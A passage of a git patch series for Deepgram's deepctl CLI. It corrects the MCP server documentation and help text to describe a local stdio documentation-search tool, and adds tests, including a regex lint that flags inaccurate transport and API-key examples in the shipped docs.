+            (["mcp", "-h"], False),
+            (["mcp", "--agent-friendly"], False),
+            (["--help", "mcp"], False),
+            (["--profile", "mcp"], False),
+            (["models", "mcp"], False),
+            ([], False),
+        ],
+    )
+    def test_detection(self, argv, expected):
+        from deepctl import main as main_module
+
+        assert main_module._is_mcp_server_run(argv) is expected
+
+    def test_root_value_options_match_the_cli(self):
+        from deepctl import main as main_module
+        from deepctl._cli import cli
+
+        takes_value = {
+            opt
+            for param in cli.params
+            if isinstance(param, click.Option) and not param.is_flag
+            for opt in param.opts
+        }
+        assert takes_value == main_module._ROOT_VALUE_OPTIONS
diff --git a/tests/unit/test_mcp_fast.py b/tests/unit/test_mcp_fast.py
index 86ab451f..d152277c 100644
--- a/tests/unit/test_mcp_fast.py
+++ b/tests/unit/test_mcp_fast.py
@@ -249,3 +249,35 @@ def test_tool_table_shape() -> None:
     for tool in _fast.TOOLS:
         assert set(tool) >= {"name", "description", "inputSchema"}
         assert tool["inputSchema"]["type"] == "object"
+
+
+def test_isolate_stdout_leaves_only_the_protocol_on_stdout() -> None:
+    """Stray prints and child processes land on stderr, not the client's stream."""
+    import subprocess
+
+    code = (
+        "import os, subprocess, sys\n"
+        "from deepctl.mcp import _fast\n"
+        "_fast.isolate_stdout()\n"
+        "_fast.isolate_stdout()\n"
+        "print('stray print')\n"
+        "sys.stdout.flush()\n"
+        "subprocess.run([sys.executable, '-c', 'print(\"child\")'])\n"
+        "out = _fast.protocol_stdout()\n"
+        "out.write(b'{}\\n')\n"
+        "out.flush()\n"
+    )
+    proc = subprocess.run(
+        [sys.executable, "-c", code], capture_output=True, timeout=60, check=True
+    )
+    assert proc.stdout == b"{}\n"
+    assert b"stray print" in proc.stderr
+    assert b"child" in proc.stderr
+
+
+def test_serve_writes_to_the_isolated_stream(monkeypatch: pytest.MonkeyPatch) -> None:
+    out = io.BytesIO()
+    monkeypatch.setattr(_fast, "_PROTOCOL_OUT", out)
+    assert _fast.protocol_stdout() is out
+    _fast.serve(_session(_init()))
+    assert _replies(out)[0]["id"] == 1

From 4eee896e48cd43a0f1e25f299f9353da3fdf41bd Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sun, 1 Nov 2026 13:39:22 -0500
Subject: [PATCH 52/88] docs(mcp): describe dg mcp as the documentation search
 it is

The help, the READMEs, llms.txt, llms-full.txt and the landing page
promised SSE and streamable HTTP transports, "every CLI command" as
tools and direct API access, and one README put the API key in a
project .mcp.json's args. Agents follow this text literally.

Now they all say what the command does: a local stdio MCP server with
one tool, search_deepgram_knowledge_sources, that searches Deepgram's
documentation with the key from dg login or DEEPGRAM_API_KEY. The key
never goes in the MCP config, a missing key is a tool error rather
than a failed start (or, for a config file dg can't trust, an error
that asks a person to fix it), and Claude Desktop's literal env values
are called out. The --base-url and --debug help match their behaviour,
including https unless the host is loopback.

The help spec is regenerated with --write-help; the cmd-mcp README
matches generate_readmes.py output for the new description.

A test fails on MCP text that promises what dg mcp doesn't do. It
scans the READMEs, web/public, web/src and the sources (help specs
included) for:

- a transport other than stdio in any spelling: --transport sse,
  --transport=http, -t sse, "--transport", "sse" in args, an /sse URL,
  streamable-http, "stdio/SSE";
- a --stdout option;
- an API key on a command line (--api-key KEY, --api-key=KEY, a
  variable) or in an MCP config's args array, however it is wrapped.

Only the API-key checks skip `dg login --api-key ...`, which gives the
key to the command that stores it; every other check still applies on
that line. Parametrized cases cover each variant and the true text
that must pass.
---
 README.md                                     |  15 +-
 packages/deepctl-cmd-mcp/README.extra.md      |  72 ++++---
 packages/deepctl-cmd-mcp/README.md            |  74 ++++---
 packages/deepctl-cmd-mcp/pyproject.toml       |   2 +-
 .../src/deepctl_cmd_mcp/command.py            |  32 ++-
 src/deepctl/_manifest.d/mcp.json              |  10 +-
 tests/unit/test_mcp_docs_lint.py              | 197 ++++++++++++++++++
 web/public/llms-full.txt                      |  13 +-
 web/public/llms.txt                           |   2 +-
 web/src/pages/index.astro                     |   5 +-
 10 files changed, 337 insertions(+), 85 deletions(-)
 create mode 100644 tests/unit/test_mcp_docs_lint.py

diff --git a/README.md b/README.md
index b4184fd4..55019992 100644
--- a/README.md
+++ b/README.md
@@ -157,7 +157,7 @@ dg requests --status failed --endpoint listen   # Debug failed requests
 # Hit any endpoint directly
 dg api /v1/projects --jq '.projects[0].name'
 
-# MCP server for AI editors (Claude Code, Cursor, etc.)
+# MCP server (stdio) that lets AI editors search Deepgram's docs
 dg mcp
 ```
 
@@ -268,8 +268,11 @@ dg debug probe --port 3100                # Live stream audio analysis
 
 ### MCP Server
 
-Give AI coding assistants (Claude Code, Cursor, etc.) Deepgram documentation
-search over stdio.
+`dg mcp` runs a local MCP server over stdio for AI coding assistants (Claude
+Code, Cursor, etc.). It has one tool, `search_deepgram_knowledge_sources`,
+which searches Deepgram's documentation. It uses your API key from `dg login`
+or `DEEPGRAM_API_KEY`; don't put the key in the MCP config. SSE and HTTP
+transports aren't supported.
 
 ```bash
 dg mcp                                    # Start MCP server (stdio)
@@ -522,7 +525,7 @@ cli/
 │   ├── deepctl-cmd-keys/             # API keys management command for deepctl
 │   ├── deepctl-cmd-listen/           # Listen (live speech-to-text) command for deepctl
 │   ├── deepctl-cmd-login/            # Login command for deepctl
-│   ├── deepctl-cmd-mcp/              # MCP server for deepctl: Deepgram documentation search over stdio
+│   ├── deepctl-cmd-mcp/              # Local stdio MCP server for deepctl: search Deepgram's documentation from AI editors
 │   ├── deepctl-cmd-members/          # Members management command for deepctl
 │   ├── deepctl-cmd-models/           # Models command for deepctl
 │   ├── deepctl-cmd-plugin/           # Plugin management command for deepctl
@@ -563,7 +566,7 @@ cli/
 | `deepctl listen` | Listen (live speech-to-text) command for deepctl |
 | `deepctl login` | Login command for deepctl |
 | `deepctl logout` | Login command for deepctl |
-| `deepctl mcp` | MCP server for deepctl: Deepgram documentation search over stdio |
+| `deepctl mcp` | Local stdio MCP server for deepctl: search Deepgram's documentation from AI editors |
 | `deepctl members` | Members management command for deepctl |
 | `deepctl models` | Models command for deepctl |
 | `deepctl plugin` | Plugin management command for deepctl |
@@ -598,7 +601,7 @@ cli/
 | [`deepctl-cmd-keys`](packages/deepctl-cmd-keys) | API keys management command for deepctl |
 | [`deepctl-cmd-listen`](packages/deepctl-cmd-listen) | Listen (live speech-to-text) command for deepctl |
 | [`deepctl-cmd-login`](packages/deepctl-cmd-login) | Login command for deepctl |
-| [`deepctl-cmd-mcp`](packages/deepctl-cmd-mcp) | MCP server for deepctl: Deepgram documentation search over stdio |
+| [`deepctl-cmd-mcp`](packages/deepctl-cmd-mcp) | Local stdio MCP server for deepctl: search Deepgram's documentation from AI editors |
 | [`deepctl-cmd-members`](packages/deepctl-cmd-members) | Members management command for deepctl |
 | [`deepctl-cmd-models`](packages/deepctl-cmd-models) | Models command for deepctl |
 | [`deepctl-cmd-plugin`](packages/deepctl-cmd-plugin) | Plugin management command for deepctl |
diff --git a/packages/deepctl-cmd-mcp/README.extra.md b/packages/deepctl-cmd-mcp/README.extra.md
index 80ac8910..ea37a8f2 100644
--- a/packages/deepctl-cmd-mcp/README.extra.md
+++ b/packages/deepctl-cmd-mcp/README.extra.md
@@ -1,36 +1,43 @@
 ## MCP Server Setup
 
-The `deepctl mcp` command runs an MCP (Model Context Protocol) server over
-stdio that gives AI code editors one tool: search of Deepgram's documentation.
+`dg mcp` (also `deepctl mcp`) runs a local MCP (Model Context Protocol) server
+over stdio. Your AI editor starts it and gets one tool,
+`search_deepgram_knowledge_sources`, which searches Deepgram's documentation
+and returns passages with their source URLs. Each search goes to Deepgram's
+hosted documentation search and uses your Deepgram API key. `dg mcp` doesn't
+transcribe, synthesize speech or call other Deepgram APIs.
 
 ### Prerequisites
 
+The API key comes from `dg login` or the `DEEPGRAM_API_KEY` environment
+variable. Never put the API key in the MCP config's `args`: a project config
+such as `.mcp.json` is usually committed.
+
 ```bash
-# Login to Deepgram (stores credentials in system keyring)
-deepctl login
+# Log in once (stores the API key in the system keyring)
+dg login
 
-# Or set the environment variable
+# Or set the environment variable in the shell that starts your editor
 export DEEPGRAM_API_KEY="your-api-key"
 ```
 
-### Claude Code
+Without a key, the server still starts, and each search returns a tool error
+that says to run `dg login` or set `DEEPGRAM_API_KEY`. If dg ignored the key in
+your config file because other users can change the file or it's owned by
+someone else, the error asks a person to fix the file instead; an AI agent
+should ask the user.
 
-Add to your project's `.mcp.json`:
+Claude Desktop passes `env` values in its config literally, so
+`"DEEPGRAM_API_KEY": "${DEEPGRAM_API_KEY}"` sends the text `${DEEPGRAM_API_KEY}`
+as the key. Use `dg login` instead.
 
-```json
-{
-  "mcpServers": {
-    "deepgram": {
-      "type": "stdio",
-      "command": "uvx",
-      "args": ["deepctl", "mcp"]
-    }
-  }
-}
+### Claude Code
+
+```bash
+claude mcp add deepgram --scope project -- uvx deepctl mcp
 ```
 
-Or pass `DEEPGRAM_API_KEY` through the editor's `env` block, which forwards it
-from your shell (a key saved by `deepctl login` takes precedence):
+Or add to your project's `.mcp.json`:
 
 ```json
 {
@@ -38,15 +45,12 @@ from your shell (a key saved by `deepctl login` takes precedence):
     "deepgram": {
       "type": "stdio",
       "command": "uvx",
-      "args": ["deepctl", "mcp"],
-      "env": { "DEEPGRAM_API_KEY": "${DEEPGRAM_API_KEY}" }
+      "args": ["deepctl", "mcp"]
     }
   }
 }
 ```
 
-Don't write the key itself into `.mcp.json` or any other file you commit.
-
 ### Cursor
 
 Add to `.cursor/mcp.json`:
@@ -77,6 +81,18 @@ Add to `~/.codeium/windsurf/mcp_config.json`:
 }
 ```
 
+### Installed CLI
+
+If `dg` is already installed (Homebrew, the install script, `pip`, `uv tool`
+or `pipx`), use it directly in any of the above configurations:
+
+```json
+{
+  "command": "dg",
+  "args": ["mcp"]
+}
+```
+
 ### Alternative: pipx
 
 Replace `uvx` with `pipx run` in any of the above configurations:
@@ -99,9 +115,9 @@ If running from a local clone of the repository:
 }
 ```
 
-### Transport modes
+### Transport
 
-The MCP server runs over stdio: your editor starts `dg mcp` and talks to it over
-stdin and stdout. `--transport sse` was removed in deepctl 0.4.1. `--transport
-streamable-http` was never supported. Both exit with an error, so remove them
-from your MCP config.
+The MCP server runs over stdio only: your editor starts `dg mcp` and talks to
+it over stdin and stdout. SSE and HTTP transports aren't supported, and a
+`--transport` other than `stdio` exits with an error, so remove it from your
+MCP config.
diff --git a/packages/deepctl-cmd-mcp/README.md b/packages/deepctl-cmd-mcp/README.md
index d2fe5099..504c2bde 100644
--- a/packages/deepctl-cmd-mcp/README.md
+++ b/packages/deepctl-cmd-mcp/README.md
@@ -2,7 +2,7 @@
 
 > Part of [deepctl](https://github.com/deepgram/cli) — Official Deepgram CLI
 
-MCP server for deepctl: Deepgram documentation search over stdio
+Local stdio MCP server for deepctl: search Deepgram's documentation from AI editors
 
 ## Installation
 
@@ -33,37 +33,44 @@ pipx run deepctl --help
 
 ## MCP Server Setup
 
-The `deepctl mcp` command runs an MCP (Model Context Protocol) server over
-stdio that gives AI code editors one tool: search of Deepgram's documentation.
+`dg mcp` (also `deepctl mcp`) runs a local MCP (Model Context Protocol) server
+over stdio. Your AI editor starts it and gets one tool,
+`search_deepgram_knowledge_sources`, which searches Deepgram's documentation
+and returns passages with their source URLs. Each search goes to Deepgram's
+hosted documentation search and uses your Deepgram API key. `dg mcp` doesn't
+transcribe, synthesize speech or call other Deepgram APIs.
 
 ### Prerequisites
 
+The API key comes from `dg login` or the `DEEPGRAM_API_KEY` environment
+variable. Never put the API key in the MCP config's `args`: a project config
+such as `.mcp.json` is usually committed.
+
 ```bash
-# Login to Deepgram (stores credentials in system keyring)
-deepctl login
+# Log in once (stores the API key in the system keyring)
+dg login
 
-# Or set the environment variable
+# Or set the environment variable in the shell that starts your editor
 export DEEPGRAM_API_KEY="your-api-key"
 ```
 
-### Claude Code
+Without a key, the server still starts, and each search returns a tool error
+that says to run `dg login` or set `DEEPGRAM_API_KEY`. If dg ignored the key in
+your config file because other users can change the file or it's owned by
+someone else, the error asks a person to fix the file instead; an AI agent
+should ask the user.
 
-Add to your project's `.mcp.json`:
+Claude Desktop passes `env` values in its config literally, so
+`"DEEPGRAM_API_KEY": "${DEEPGRAM_API_KEY}"` sends the text `${DEEPGRAM_API_KEY}`
+as the key. Use `dg login` instead.
 
-```json
-{
-  "mcpServers": {
-    "deepgram": {
-      "type": "stdio",
-      "command": "uvx",
-      "args": ["deepctl", "mcp"]
-    }
-  }
-}
+### Claude Code
+
+```bash
+claude mcp add deepgram --scope project -- uvx deepctl mcp
 ```
 
-Or pass `DEEPGRAM_API_KEY` through the editor's `env` block, which forwards it
-from your shell (a key saved by `deepctl login` takes precedence):
+Or add to your project's `.mcp.json`:
 
 ```json
 {
@@ -71,15 +78,12 @@ from your shell (a key saved by `deepctl login` takes precedence):
     "deepgram": {
       "type": "stdio",
       "command": "uvx",
-      "args": ["deepctl", "mcp"],
-      "env": { "DEEPGRAM_API_KEY": "${DEEPGRAM_API_KEY}" }
+      "args": ["deepctl", "mcp"]
     }
   }
 }
 ```
 
-Don't write the key itself into `.mcp.json` or any other file you commit.
-
 ### Cursor
 
 Add to `.cursor/mcp.json`:
@@ -110,6 +114,18 @@ Add to `~/.codeium/windsurf/mcp_config.json`:
 }
 ```
 
+### Installed CLI
+
+If `dg` is already installed (Homebrew, the install script, `pip`, `uv tool`
+or `pipx`), use it directly in any of the above configurations:
+
+```json
+{
+  "command": "dg",
+  "args": ["mcp"]
+}
+```
+
 ### Alternative: pipx
 
 Replace `uvx` with `pipx run` in any of the above configurations:
@@ -132,12 +148,12 @@ If running from a local clone of the repository:
 }
 ```
 
-### Transport modes
+### Transport
 
-The MCP server runs over stdio: your editor starts `dg mcp` and talks to it over
-stdin and stdout. `--transport sse` was removed in deepctl 0.4.1. `--transport
-streamable-http` was never supported. Both exit with an error, so remove them
-from your MCP config.
+The MCP server runs over stdio only: your editor starts `dg mcp` and talks to
+it over stdin and stdout. SSE and HTTP transports aren't supported, and a
+`--transport` other than `stdio` exits with an error, so remove it from your
+MCP config.
 
 ## Dependencies
 
diff --git a/packages/deepctl-cmd-mcp/pyproject.toml b/packages/deepctl-cmd-mcp/pyproject.toml
index 113e17aa..ee397b67 100644
--- a/packages/deepctl-cmd-mcp/pyproject.toml
+++ b/packages/deepctl-cmd-mcp/pyproject.toml
@@ -5,7 +5,7 @@ build-backend = "setuptools.build_meta"
 [project]
 name = "deepctl-cmd-mcp"
 version = "0.4.1" # x-release-please-version
-description = "MCP server for deepctl: Deepgram documentation search over stdio"
+description = "Local stdio MCP server for deepctl: search Deepgram's documentation from AI editors"
 readme = "README.md"
 authors = [{ name = "Deepgram", email = "devrel@deepgram.com" }]
 requires-python = ">=3.10"
diff --git a/packages/deepctl-cmd-mcp/src/deepctl_cmd_mcp/command.py b/packages/deepctl-cmd-mcp/src/deepctl_cmd_mcp/command.py
index fecf3ea4..e00e320a 100644
--- a/packages/deepctl-cmd-mcp/src/deepctl_cmd_mcp/command.py
+++ b/packages/deepctl-cmd-mcp/src/deepctl_cmd_mcp/command.py
@@ -55,14 +55,15 @@ def _refuse_transport(transport: str) -> None:
 
 
 class McpCommand(BaseCommand):
-    """MCP server that serves Deepgram documentation search over stdio."""
+    """Local stdio MCP server that searches Deepgram's documentation."""
 
     name = "mcp"
     help = (
-        "Run an MCP server that exposes Deepgram documentation search to "
-        "your AI editor over stdio"
+        "Run a local MCP server over stdio that lets AI editors search "
+        "Deepgram's documentation, using your API key from dg login or "
+        "DEEPGRAM_API_KEY"
     )
-    short_help = "Serve Deepgram docs search over MCP"
+    short_help = "Run an MCP server that searches Deepgram's docs"
 
     # No credential check at startup: the server answers the handshake with
     # or without a key, and a missing or refused key is a tool error on the
@@ -77,9 +78,13 @@ class McpCommand(BaseCommand):
         "dg mcp --base-url https://api.dx.deepgram.com",
     ]
     agent_help = (
-        "Run an MCP (Model Context Protocol) server that exposes Deepgram "
-        "documentation search to your AI editor. Configure "
-        "in your AI editor's MCP settings. It runs over stdio."
+        "Run a local MCP (Model Context Protocol) server over stdio for AI "
+        "editors. It has one tool, search_deepgram_knowledge_sources, which "
+        "searches Deepgram's documentation through Deepgram's hosted search "
+        "and returns passages with their source URLs. Register it with "
+        'command "dg" and args ["mcp"]. The API key comes from dg login or '
+        "DEEPGRAM_API_KEY; don't put it in the MCP config's args. Without a "
+        "key the server still starts and each search returns a tool error."
     )
 
     def __init__(self) -> None:
@@ -119,7 +124,12 @@ def get_arguments(self) -> list[dict[str, Any]]:
             },
             {
                 "names": ["--base-url"],
-                "help": "Base URL for Deepgram developer API",
+                "help": (
+                    "Base URL of Deepgram's documentation search service. It "
+                    "must use https unless the host is localhost, and any host "
+                    "other than Deepgram's must be in api.allowed_hosts in your "
+                    "user config"
+                ),
                 "type": str,
                 "default": DEFAULT_BASE_URL,
                 "required": False,
@@ -127,7 +137,7 @@ def get_arguments(self) -> list[dict[str, Any]]:
             },
             {
                 "names": ["--debug"],
-                "help": "Enable debug logging",
+                "help": "Log each documentation search request to stderr",
                 "is_flag": True,
                 "is_option": True,
             },
@@ -153,7 +163,7 @@ def _handle_shutdown(self, signum: int, frame: Any) -> None:
         """Handle shutdown signals gracefully."""
         if not self._shutdown_requested:
             self._shutdown_requested = True
-            console.print("\n[yellow]MCP server stopped by user[/yellow]")
+            console.print("\n[yellow]MCP server stopped.[/yellow]")
             os._exit(0)
 
     def handle(
@@ -220,7 +230,7 @@ def handle(
         except KeyboardInterrupt:
             return MCPServerResult(
                 status="cancelled",
-                message="MCP server stopped by user",
+                message="MCP server stopped.",
                 transport=TransportType.STDIO,
             )
         except Exception as e:
diff --git a/src/deepctl/_manifest.d/mcp.json b/src/deepctl/_manifest.d/mcp.json
index 41c8559c..abb632b7 100644
--- a/src/deepctl/_manifest.d/mcp.json
+++ b/src/deepctl/_manifest.d/mcp.json
@@ -3,13 +3,13 @@
   "module": "deepctl_cmd_mcp.command",
   "attr": "McpCommand",
   "dist": "deepctl-cmd-mcp",
-  "summary": "Run MCP proxy for Deepgram AI",
+  "summary": "Run an MCP server that searches Deepgram's docs",
   "hidden": false,
   "requires_auth": false,
   "help": {
     "name": "mcp",
-    "help": "Run an MCP proxy that connects to Deepgram's developer API and exposes remote tools locally for AI editors\n\nExamples:\n  dg mcp\n  dg mcp --base-url https://api.dx.deepgram.com\n\n\nFor agents, use --agent-friendly.",
-    "short_help": "Run MCP proxy for Deepgram AI",
+    "help": "Run a local MCP server over stdio that lets AI editors search Deepgram's documentation, using your API key from dg login or DEEPGRAM_API_KEY\n\nExamples:\n  dg mcp\n  dg mcp --base-url https://api.dx.deepgram.com\n\n\nFor agents, use --agent-friendly.",
+    "short_help": "Run an MCP server that searches Deepgram's docs",
     "epilog": null,
     "hidden": false,
     "deprecated": false,
@@ -35,7 +35,7 @@
         "is_flag": true,
         "count": false,
         "hidden": false,
-        "help": "Enable debug logging"
+        "help": "Log each documentation search request to stderr"
       },
       {
         "class": "option",
@@ -56,7 +56,7 @@
         "is_flag": false,
         "count": false,
         "hidden": false,
-        "help": "Base URL for Deepgram developer API"
+        "help": "Base URL of Deepgram's documentation search service. It must use https unless the host is localhost, and any host other than Deepgram's must be in api.allowed_hosts in your user config"
       },
       {
         "class": "option",
diff --git a/tests/unit/test_mcp_docs_lint.py b/tests/unit/test_mcp_docs_lint.py
new file mode 100644
index 00000000..6a193537
--- /dev/null
+++ b/tests/unit/test_mcp_docs_lint.py
@@ -0,0 +1,197 @@
+"""Shipped text must not promise `dg mcp` behaviour it doesn't have.
+
+Agents follow docs literally, so this scans the READMEs, the website
+(including llms.txt and llms-full.txt), the sources and the help specs
+for text that was true of an older plan, not of the shipped command:
+
+- transports other than stdio, in any spelling (`--transport sse`,
+  `--transport=http`, `-t sse`, `"--transport", "sse"`, an `/sse` URL
+  over http or ws);
+- a `--stdout` option `dg mcp` never had;
+- an API key on a command line (any value after `--api-key` in a dg
+  command) or in an MCP config's args, including args arrays split over
+  several lines.
+
+Only the API-key checks have an exemption: `dg login --api-key ...` gives
+the key to the command whose job is to store it. The exemption ends at a
+shell operator, a backtick or the end of a sentence. Every other check
+still applies to that line.
+"""
+
+from __future__ import annotations
+
+import re
+from pathlib import Path
+
+import pytest
+
+REPO = Path(__file__).resolve().parents[2]
+
+_TRANSPORTS = r"(?:sse|http|https|streamable[-_]?http|ws|websocket)\b"
+LINE_CHECKS = {
+    "non-stdio transport": re.compile(
+        r"(?:--transport(?:\s+|=)|(?<![\w-])-t\s+)[\"']?" + _TRANSPORTS,
+        re.IGNORECASE,
+    ),
+    "non-stdio transport in args": re.compile(
+        r"[\"'](?:--transport|-t)[\"']\s*,\s*[\"']" + _TRANSPORTS, re.IGNORECASE
+    ),
+    # The CLI spelling; mcp.client.streamable_http is a module name.
+    "streamable-http": re.compile(r"streamable-http", re.IGNORECASE),
+    "/sse URL": re.compile(r"\b(?:https?|wss?)://[^\s\"'`<>)]*/sse(?![\w-])"),
+    "--stdout": re.compile(r"--stdout\b"),
+    "stdio/SSE/HTTP": re.compile(r"stdio\s*/\s*SSE", re.IGNORECASE),
+}
+# A key value after --api-key on a command line: a placeholder, a variable
+# or something key-shaped.
+KEY_CHECKS = {
+    "--api-key with a value": re.compile(
+        r"--api-key(?:\s+|=)[\"']?(?:YOUR|KEY\b|<|\$|sk-|[0-9a-f]{32})",
+        re.IGNORECASE,
+    ),
+    # Any value after --api-key in a dg command: dg, then options and
+    # arguments up to --api-key, with no shell operator or backtick between.
+    "--api-key on a command line": re.compile(
+        r"(?:^|[\s`$(])(?:dg|deepctl|deepgram)(?:\s+[^\s|;&`]+)*?\s+"
+        r"--api-key(?:\s+|=)[\"']?[\w$<{]"
+    ),
+}
+# The dg login command the key is given to: it ends at a shell operator, a
+# backtick or the end of a sentence.
+LOGIN = re.compile(r"\bdg\s+login\b(?:(?![.!?](?:\s|$))[^|;&`\n])*$")
+# An MCP config's args array, however it is wrapped.
+ARGS = re.compile(r"[\"']args[\"']\s*:\s*\[([^\]]*)\]", re.DOTALL)
+ARGS_CHECKS = {
+    "--api-key in MCP args": re.compile(r"[\"']--api-key(?:=[^\"']*)?[\"']"),
+    "non-stdio transport in MCP args": re.compile(
+        r"[\"'](?:--transport|-t)[\"']\s*,\s*[\"']" + _TRANSPORTS
+        + r"|[\"']--transport=" + _TRANSPORTS,
+        re.IGNORECASE,
+    ),
+}
+
+SKIP_DIRS = {"node_modules", "dist", ".astro", "__pycache__", "tests"}
+TEXT_SUFFIXES = {".md", ".txt", ".py", ".astro", ".ts", ".tsx", ".js", ".json"}
+
+
+def _files() -> list[Path]:
+    roots = [REPO / "web" / "public", REPO / "web" / "src", REPO / "src"]
+    files = sorted(REPO.glob("README*")) + sorted(REPO.glob("packages/*/README*"))
+    roots += sorted(p for p in REPO.glob("packages/*/src") if p.is_dir())
+    for root in roots:
+        if not root.is_dir():
+            continue
+        for path in sorted(root.rglob("*")):
+            if (
+                path.is_file()
+                and path.suffix in TEXT_SUFFIXES
+                and not SKIP_DIRS.intersection(path.relative_to(REPO).parts)
+            ):
+                files.append(path)
+    return files
+
+
+def check_text(text: str) -> list[tuple[int, str]]:
+    """(line number, check name) for every untrue MCP claim in ``text``."""
+    hits = []
+    for number, line in enumerate(text.splitlines(), 1):
+        for label, pattern in LINE_CHECKS.items():
+            if pattern.search(line):
+                hits.append((number, label))
+        for label, pattern in KEY_CHECKS.items():
+            for match in pattern.finditer(line):
+                if not LOGIN.search(line[: line.index("--api-key", match.start())]):
+                    hits.append((number, label))
+                    break
+    for match in ARGS.finditer(text):
+        number = text.count("\n", 0, match.start()) + 1
+        for label, pattern in ARGS_CHECKS.items():
+            if pattern.search(match.group(1)):
+                hits.append((number, label))
+    return hits
+
+
+def _hits() -> list[str]:
+    hits = []
+    for path in _files():
+        try:
+            text = path.read_text(encoding="utf-8")
+        except (OSError, UnicodeDecodeError):
+            continue
+        lines = text.splitlines()
+        rel = path.relative_to(REPO)
+        for number, label in check_text(text):
+            hits.append(f"{rel}:{number}: {label}: {lines[number - 1].strip()}")
+    return hits
+
+
+def test_scans_the_shipped_text() -> None:
+    names = {p.relative_to(REPO).as_posix() for p in _files()}
+    assert "README.md" in names
+    assert "packages/deepctl-cmd-mcp/README.md" in names
+    assert "packages/deepctl-cmd-mcp/src/deepctl_cmd_mcp/command.py" in names
+    if (REPO / "web" / "public" / "llms-full.txt").exists():
+        assert "web/public/llms-full.txt" in names
+
+
+def test_no_untrue_mcp_text() -> None:
+    assert _hits() == []
+
+
+@pytest.mark.parametrize(
+    "text",
+    [
+        "dg mcp --transport sse --port 8000",
+        "dg mcp --transport=sse",
+        "dg mcp -t sse",
+        "dg mcp --transport http",
+        "dg mcp --transport streamable-http",
+        "dg mcp --transport 'sse'",
+        '"args": ["mcp", "--transport", "sse"]',
+        '"args": ["mcp", "-t", "http"]',
+        '"args": ["mcp", "--transport=sse"]',
+        '"args": ["deepctl", "--api-key", "YOUR_KEY", "mcp"]',
+        '"args": [\n  "deepctl",\n  "--api-key",\n  "abc",\n  "mcp"\n]',
+        '"args": ["deepctl", "--api-key=abc", "mcp"]',
+        "dg --api-key=KEY mcp",
+        "dg --api-key YOUR_KEY mcp",
+        'dg --api-key "$DEEPGRAM_API_KEY" mcp',
+        "Add to your AI editor: http://127.0.0.1:8000/sse",
+        "dg mcp --stdout",
+        "MCP server mode: `dg mcp` (stdio/SSE/HTTP)",
+        "dg login --api-key KEY && dg mcp --transport sse",
+        "dg login; dg --api-key=KEY mcp",
+        "ws://127.0.0.1:8000/sse",
+        "wss://example.com/mcp/sse",
+        "dg --api-key abc123 mcp",
+        "deepctl --profile x --api-key abc123 mcp",
+        "Run `dg login`, then `dg --api-key abc123 mcp`",
+        "Run dg login. Then run dg --api-key abc123 mcp",
+    ],
+)
+def test_catches_the_old_text(text: str) -> None:
+    assert check_text(text), text
+
+
+@pytest.mark.parametrize(
+    "text",
+    [
+        "dg mcp",
+        "dg mcp --transport stdio",
+        '"args": ["mcp", "--transport", "stdio"]',
+        '"args": ["deepctl", "mcp"]',
+        "a `--transport` other than `stdio` exits with an error",
+        "Use stdio: remove --transport from your MCP config",
+        "dg login --api-key YOUR_API_KEY",
+        "dg login --profile staging --api-key YOUR_KEY",
+        '_SECRET_OPTIONS = ("--api-key", "-k")',
+        'if token.startswith("--api-key="):',
+        "https://developers.deepgram.com/docs/sse-handling",
+        "from mcp.client.streamable_http import streamablehttp_client",
+        "dg login --api-key abc123",
+        "Pass the key with dg's --api-key flag, or run dg login.",
+        "ws://127.0.0.1:8000/v1/listen",
+    ],
+)
+def test_leaves_true_text_alone(text: str) -> None:
+    assert check_text(text) == [], text
diff --git a/web/public/llms-full.txt b/web/public/llms-full.txt
index 4f599a3a..77eec0f7 100644
--- a/web/public/llms-full.txt
+++ b/web/public/llms-full.txt
@@ -239,10 +239,21 @@ dg api /v1/projects/PROJECT_ID/usage/requests | jq '.requests[].path'
 ## MCP Server (AI Editor Integration)
 
 ```bash
-dg mcp                               # Start MCP server (stdio transport)
+dg mcp                               # Start MCP server (stdio only)
 ```
 
 Used with Claude Code, Cursor, VS Code Copilot, and other MCP-compatible editors.
+The editor starts `dg mcp` (command `dg`, args `["mcp"]`) and talks to it over
+stdin and stdout; SSE and HTTP transports aren't supported. The server has one
+tool, `search_deepgram_knowledge_sources`, which searches Deepgram's
+documentation and returns passages with their source URLs. It doesn't call
+other Deepgram APIs.
+
+The API key comes from `dg login` or `DEEPGRAM_API_KEY`. Don't put the API key
+in the MCP config's `args`. Without a key the server still starts, and each
+search returns a tool error (`isError: true`) that says to run `dg login` or set
+`DEEPGRAM_API_KEY`; if the error says a person must fix the config file, an AI
+agent should ask the user rather than act on it.
 
 ---
 
diff --git a/web/public/llms.txt b/web/public/llms.txt
index 414b3b7a..0fdd430c 100644
--- a/web/public/llms.txt
+++ b/web/public/llms.txt
@@ -37,4 +37,4 @@
 - Plugin system: `dg plugin install <package>` installs community extensions in isolated venv (refused in an AI agent session: a person runs it)
 - `--dry-run` on all destructive operations (key deletion, member removal)
 - Shell completion for bash, zsh, and fish
-- MCP server mode: `dg mcp` (stdio) gives AI editors Deepgram documentation search
+- MCP server mode: `dg mcp` (stdio only) lets AI editors search Deepgram's documentation
diff --git a/web/src/pages/index.astro b/web/src/pages/index.astro
index 2c5d420e..a295cd67 100644
--- a/web/src/pages/index.astro
+++ b/web/src/pages/index.astro
@@ -168,7 +168,7 @@ const commandCards: CommandCard[] = [
   // ── MCP & agents ────────────────────────────────────────────────────────
   { cmd: 'mcp', icon: 'bolt', color: 'brand',
     title: 'Run as MCP server',
-    desc: 'Give Claude, Cursor and other MCP clients Deepgram documentation search.',
+    desc: 'Let Claude, Cursor, and other MCP clients search Deepgram’s docs.',
     lines: ['dg mcp'] },
   { cmd: 'skills', icon: 'robot', color: 'brand',
     title: 'Regenerate AI skill files',
@@ -1064,8 +1064,7 @@ const commandCards: CommandCard[] = [
     // ── MCP server for AI editors ─────────────────
     [
       { p: '❯ ', t: 'claude mcp add deepgram -- dg mcp', c: '' },
-      { p: '',   t: 'Added stdio MCP server deepgram with command: dg mcp', c: '#13ef95' },
-      { p: '',   t: '  Your editor starts dg mcp over stdio', c: '#949498' },
+      { p: '',   t: '# stdio server: Claude Code can now search Deepgram’s docs', c: '#949498' },
       { p: '',   t: '', c: '' },
     ],
   ];

From eee53c1db2de7d10b60fe6af6c7fc15e5d7ab610 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sun, 1 Nov 2026 13:24:55 -0500
Subject: [PATCH 53/88] feat(core): detect AI agents from one documented table

deepctl_core.agents is now the only place dg decides whether an AI
agent, automation or a person is running it. Each hard signal names
